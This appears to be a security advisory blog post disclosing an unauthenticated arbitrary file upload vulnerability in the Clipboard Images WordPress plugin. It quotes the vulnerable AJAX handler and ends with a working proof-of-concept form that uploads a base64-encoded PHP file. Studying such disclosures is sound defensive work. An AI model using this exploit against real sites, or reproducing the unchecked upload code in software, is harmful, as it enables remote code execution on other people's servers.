A Hacker Is Probably Already Exploiting This Arbitrary File Upload Vulnerability in a WordPress Plugin
In the last several days someone started making requests using Tor nodes for the file /wp-content/plugins/image-clipboard/readme.txt, which is a file from the WordPress plugin Clipboard Images. That would likely be a hacker probing for usage of the plugin, which has 800+ active installations according to wordpress.org, before exploiting a vulnerability in it. After we noticed that activity this morning we went to look over the code to see if we could find a vulnerability that hackers would be likely to exploit in it and it took only moments to find what in all likelihood is already being exploited.
Making that relatively easy to do is the plugin only contains a single function that contains any code of a substantial nature. That function is named save_image() and it is accessible through WordPress AJAX functionality to those logged in as well as those not logged in to WordPress:
19 20 | add_action('wp_ajax_cbimages_save', array(&$this, 'save_image')); add_action('wp_ajax_nopriv_cbimages_save', array(&$this, 'save_image')); |
The code in that function saves a file to the website’s filesystem using data from the POST input “img”:
48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | public function save_image() { $post_id = $_POST['post_id']; $img = $_POST['img']; $tmp_img = explode(";", $img); $img_header = explode('/', $tmp_img[0]); $ext = $img_header[1]; $imgtitle = mt_rand(111,999); $imgtitle .= '.'.$ext; $uploads = wp_upload_dir($time = null); $filename = wp_unique_filename($uploads['path'], $imgtitle); $image_url = $uploads['url'].'/'.$filename; file_put_contents($uploads['path'].'/'.$filename, file_get_contents('data://'.$img)); |
The saved file can have any extension, but it is give a random name. That random name is returned when a request to the function is made:
78 | echo json_encode(array('file' => $uploads['url'] .'/'. $filename)); |
So a hacker could upload a .php file with malicious code in it and then request the file to have that code execute.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Proof of Concept
The following proof of concept will cause a .php file to be saved to a location specified in the response to it. When requested, that newly uploaded file, it will output the message “Test”.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=cbimages_save" method="POST"> <input type="hidden" name="img" value="data:image/php;base64,PD9waHAKZWNobyAnVGVzdCc7Cj8+" /> <input type="submit" value="Submit" /> </form> </body> </html>